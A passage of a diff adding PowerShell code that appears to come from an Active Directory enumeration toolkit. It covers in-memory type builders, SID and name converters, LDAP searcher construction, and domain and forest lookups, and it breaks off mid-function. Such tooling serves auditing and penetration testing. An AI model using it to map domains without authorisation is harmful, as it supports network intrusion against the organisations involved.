character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 + } + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Enum. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + ForEach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() +} + + +# A helper function used to reduce typing while defining struct +# fields. +function field +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# + .SYNOPSIS + + Creates an in-memory struct for use in your PowerShell session. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: field + + .DESCRIPTION + + The 'struct' function facilitates the creation of structs entirely in + memory using as close to a "C style" as PowerShell will allow. Struct + fields are specified using a hashtable where each field of the struct + is comprosed of the order in which it should be defined, its .NET + type, and optionally, its offset and special marshaling attributes. + + One of the features of 'struct' is that after your struct is defined, + it will come with a built-in GetSize method as well as an explicit + converter so that you can easily cast an IntPtr to the struct without + relying upon calling SizeOf and/or PtrToStructure in the Marshal + class. + + .PARAMETER Module + + The in-memory module that will host the struct. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER FullName + + The fully-qualified name of the struct. + + .PARAMETER StructFields + + A hashtable of fields. Use the 'field' helper function to ease + defining each field. + + .PARAMETER PackingSize + + Specifies the memory alignment of fields. + + .PARAMETER ExplicitLayout + + Indicates that an explicit offset for each field will be specified. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C + } + + $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 + } + + # Example of using an explicit layout in order to create a union. + $TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 + } -ExplicitLayout + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Struct. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 1, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + ForEach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + ForEach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} + + +######################################################## +# +# Misc. helpers +# +######################################################## + +filter Get-IniContent { +<# + .SYNOPSIS + + This helper parses an .ini file into a proper PowerShell object. + + Author: 'The Scripting Guys' + Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ + + .LINK + + https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ +#> + [CmdletBinding()] + Param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('FullName')] + [ValidateScript({ Test-Path -Path $_ })] + [String[]] + $Path + ) + + ForEach($TargetPath in $Path) { + $IniObject = @{} + Switch -Regex -File $TargetPath { + "^\[(.+)\]" # Section + { + $Section = $matches[1].Trim() + $IniObject[$Section] = @{} + $CommentCount = 0 + } + "^(;.*)$" # Comment + { + $Value = $matches[1].Trim() + $CommentCount = $CommentCount + 1 + $Name = 'Comment' + $CommentCount + $IniObject[$Section][$Name] = $Value + } + "(.+?)\s*=(.*)" # Key + { + $Name, $Value = $matches[1..2] + $Name = $Name.Trim() + $Values = $Value.split(',') | ForEach-Object {$_.Trim()} + if($Values -isnot [System.Array]) {$Values = @($Values)} + $IniObject[$Section][$Name] = $Values + } + } + $IniObject + } +} + + +filter Get-IPAddress { +<# + .SYNOPSIS + + Resolves a given hostename to its associated IPv4 address. + If no hostname is provided, it defaults to returning + the IP address of the localhost. + + .EXAMPLE + + PS C:\> Get-IPAddress -ComputerName SERVER + + Return the IPv4 address of 'SERVER' + + .EXAMPLE + + PS C:\> Get-Content .\hostnames.txt | Get-IPAddress + + Get the IP addresses of all hostnames in an input file. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0, ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = $Env:ComputerName + ) + + try { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # get the IP resolution of this specified hostname + @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { + if ($_.AddressFamily -eq 'InterNetwork') { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString + $Out + } + } + } + catch { + Write-Verbose -Message 'Could not resolve host to an IP Address.' + } +} + + +filter Convert-NameToSid { +<# + .SYNOPSIS + + Converts a given user/group name to a security identifier (SID). + + .PARAMETER ObjectName + + The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + + .PARAMETER Domain + + Specific domain for the given user account, defaults to the current domain. + + .EXAMPLE + + PS C:\> Convert-NameToSid 'DEV\dfm' +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + [Alias('Name')] + $ObjectName, + + [String] + $Domain + ) + + $ObjectName = $ObjectName -Replace "/","\" + + if($ObjectName.Contains("\")) { + # if we get a DOMAIN\user format, auto convert it + $Domain = $ObjectName.Split("\")[0] + $ObjectName = $ObjectName.Split("\")[1] + } + elseif(-not $Domain) { + $Domain = (Get-NetDomain).Name + } + + try { + $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName)) + $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ObjectName' $ObjectName + $Out | Add-Member Noteproperty 'SID' $SID + $Out + } + catch { + Write-Verbose "Invalid object/name: $Domain\$ObjectName" + $Null + } +} + + +filter Convert-SidToName { +<# + .SYNOPSIS + + Converts a security identifier (SID) to a group/user name. + + .PARAMETER SID + + The SID to convert. + + .EXAMPLE + + PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105 +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + [ValidatePattern('^S-1-.*')] + $SID + ) + + try { + $SID2 = $SID.trim('*') + + # try to resolve any built-in SIDs first + # from https://support.microsoft.com/en-us/kb/243330 + Switch ($SID2) { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) + $Obj.Translate( [System.Security.Principal.NTAccount]).Value + } + } + } + catch { + Write-Verbose "Invalid SID: $SID" + $SID + } +} + + +filter Convert-ADName { +<# + .SYNOPSIS + + Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com) + to canonical format (domain.com/Users/user) or NT4. + + Based on Bill Stewart's code from this article: + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats + + .PARAMETER ObjectName + + The user/group name to convert. + + .PARAMETER InputType + + The InputType of the user/group name ("NT4","DN","Simple","Canonical"). + + .PARAMETER OutputType + + The OutputType of the user/group name ("NT4","DN","Simple","Canonical"). + + .EXAMPLE + + PS C:\> Convert-ADName -ObjectName "dev\dfm" + + Returns "dev.testlab.local/Users/Dave" + + .EXAMPLE + + PS C:\> Convert-SidToName "S-..." | Convert-ADName + + Returns the canonical name for the resolved SID. + + .LINK + + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $ObjectName, + + [String] + [ValidateSet("NT4","DN","Simple","Canonical")] + $InputType, + + [String] + [ValidateSet("NT4","DN","Simple","Canonical")] + $OutputType + ) + + $NameTypes = @{ + 'DN' = 1 + 'Canonical' = 2 + 'NT4' = 3 + 'Simple' = 5 + } + + if(-not $PSBoundParameters['InputType']) { + if( ($ObjectName.split('/')).Count -eq 2 ) { + $ObjectName = $ObjectName.replace('/', '\') + } + + if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") { + $InputType = 'NT4' + } + elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") { + $InputType = 'Simple' + } + elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") { + $InputType = 'Canonical' + } + elseif($ObjectName -match '^CN=.*') { + $InputType = 'DN' + } + else { + Write-Warning "Can not identify InType for $ObjectName" + } + } + elseif($InputType -eq 'NT4') { + $ObjectName = $ObjectName.replace('/', '\') + } + + if(-not $PSBoundParameters['OutputType']) { + $OutputType = Switch($InputType) { + 'NT4' {'Canonical'} + 'Simple' {'NT4'} + 'DN' {'NT4'} + 'Canonical' {'NT4'} + } + } + + # try to extract the domain from the given format + $Domain = Switch($InputType) { + 'NT4' { $ObjectName.split("\")[0] } + 'Simple' { $ObjectName.split("@")[1] } + 'Canonical' { $ObjectName.split("/")[0] } + 'DN' {$ObjectName.subString($ObjectName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'} + } + + # Accessor functions to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) + if ( $Output ) { $Output } + } + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) + } + + $Translate = New-Object -ComObject NameTranslate + + try { + Invoke-Method $Translate "Init" (1, $Domain) + } + catch [System.Management.Automation.MethodInvocationException] { + # Write-Verbose "Error with translate init in Convert-ADName: $_" + } + + Set-Property $Translate "ChaseReferral" (0x60) + + try { + Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName) + (Invoke-Method $Translate "Get" ($NameTypes[$OutputType])) + } + catch [System.Management.Automation.MethodInvocationException] { + # Write-Verbose "Error with translate Set/Get in Convert-ADName: $_" + } +} + + +filter Get-NameField { +<# + .SYNOPSIS + + Helper that attempts to extract appropriate field names from + passed computer objects. + + .PARAMETER Object + + The passed object to extract name fields from. + + .PARAMETER DnsHostName + + A DnsHostName to extract through ValueFromPipelineByPropertyName. + + .PARAMETER Name + + A Name to extract through ValueFromPipelineByPropertyName. + + .EXAMPLE + + PS C:\> Get-NetComputer -FullData | Get-NameField +#> + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Object] + $Object, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $DnsHostName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $Name + ) + + if($PSBoundParameters['DnsHostName']) { + $DnsHostName + } + elseif($PSBoundParameters['Name']) { + $Name + } + elseif($Object) { + if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { + # objects from Get-NetComputer + $Object.dnshostname + } + elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { + # objects from Get-NetDomainController + $Object.name + } + else { + # strings and catch alls + $Object + } + } + else { + return $Null + } +} + + +function Convert-LDAPProperty { +<# + .SYNOPSIS + + Helper that converts specific LDAP property result fields. + Used by several of the Get-Net* function. + + .PARAMETER Properties + + Properties object to extract out LDAP fields for display. +#> + param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) { + # convert the SID to a string + $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value + } + elseif($_ -eq "objectguid") { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { + # try to convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + Write-Verbose $_ + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + + New-Object -TypeName PSObject -Property $ObjectProperties +} + + + +######################################################## +# +# Domain info functions below. +# +######################################################## + +filter Get-DomainSearcher { +<# + .SYNOPSIS + + Helper used by various functions that takes an ADSpath and + domain specifier and builds the correct ADSI searcher object. + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-DomainSearcher -Domain testlab.local + + .EXAMPLE + + PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local +#> + + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $ADSprefix, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + if(-not $Credential) { + if(-not $Domain) { + $Domain = (Get-NetDomain).name + } + elseif(-not $DomainController) { + try { + # if there's no -DomainController specified, try to pull the primary DC to reflect queries through + $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + } + catch { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + } + } + elseif (-not $DomainController) { + # if a DC isn't specified + try { + $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name + } + catch { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + + if(!$DomainController) { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + } + + $SearchString = "LDAP://" + + if($DomainController) { + $SearchString += $DomainController + if($Domain){ + $SearchString += '/' + } + } + + if($ADSprefix) { + $SearchString += $ADSprefix + ',' + } + + if($ADSpath) { + if($ADSpath -Match '^GC://') { + # if we're searching the global catalog + $DN = $AdsPath.ToUpper().Trim('/') + $SearchString = '' + } + else { + if($ADSpath -match '^LDAP://') { + if($ADSpath -match "LDAP://.+/.+") { + $SearchString = '' + } + else { + $ADSpath = $ADSpath.Substring(7) + } + } + $DN = $ADSpath + } + } + else { + if($Domain -and ($Domain.Trim() -ne "")) { + $DN = "DC=$($Domain.Replace('.', ',DC='))" + } + } + + $SearchString += $DN + Write-Verbose "Get-DomainSearcher search string: $SearchString" + + if($Credential) { + Write-Verbose "Using alternate credentials for LDAP connection" + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } + + $Searcher.PageSize = $PageSize + $Searcher.CacheResults = $False + $Searcher +} + + +filter Get-NetDomain { +<# + .SYNOPSIS + + Returns a given domain object. + + .PARAMETER Domain + + The domain name to query for, defaults to the current domain. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetDomain -Domain testlab.local + + .EXAMPLE + + PS C:\> "testlab.local" | Get-NetDomain + + .LINK + + http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain, + + [Management.Automation.PSCredential] + $Credential + ) + + if($Credential) { + + Write-Verbose "Using alternate credentials for Get-NetDomain" + + if(!$Domain) { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $Domain = $Credential.GetNetworkCredential().Domain + Write-Verbose "Extracted domain '$Domain' from -Credential" + } + + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + $Null + } + } + elseif($Domain) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } +} + + +filter Get-NetForest { +<# + .SYNOPSIS + + Returns a given forest object. + + .PARAMETER Forest + + The forest name to query for, defaults to the current domain. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetForest -Forest external.domain + + .EXAMPLE + + PS C:\> "external.domain" | Get-NetForest +#> + + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest, + + [Management.Automation.PSCredential] + $Credential + ) + + if($Credential) { + + Write-Verbose "Using alternate credentials for Get-NetForest" + + if(!$Forest) { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $Forest = $Credential.GetNetworkCredential().Domain + Write-Verbose "Extracted domain '$Forest' from -Credential" + } + + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + $Null + } + } + elseif($Forest) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust." + return $Null + } + } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if($ForestObject) { + # get the SID of the forest root + $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value + $Parts = $ForestSid -Split "-" + $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } +} + + +filter Get-NetForestDomain { +<# + .SYNOPSIS + + Return all domains for a given forest. + + .PARAMETER Forest + + The forest name to query domain for. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetForestDomain + + .EXAMPLE + + PS C:\> Get-NetForestDomain -Forest external.local +#> + + param( + 